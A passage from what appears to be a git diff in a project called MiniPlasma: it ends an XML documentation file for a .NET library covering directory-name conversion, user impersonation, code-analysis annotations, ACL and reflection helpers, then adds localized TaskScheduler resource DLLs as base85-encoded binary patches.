"S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..ae0a81ad14a2bae28eb453703941947c6ed263fc GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..58a405dc0cd8834819c0ad7917e5fa70d593ef4b GIT binary patch literal 10240 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 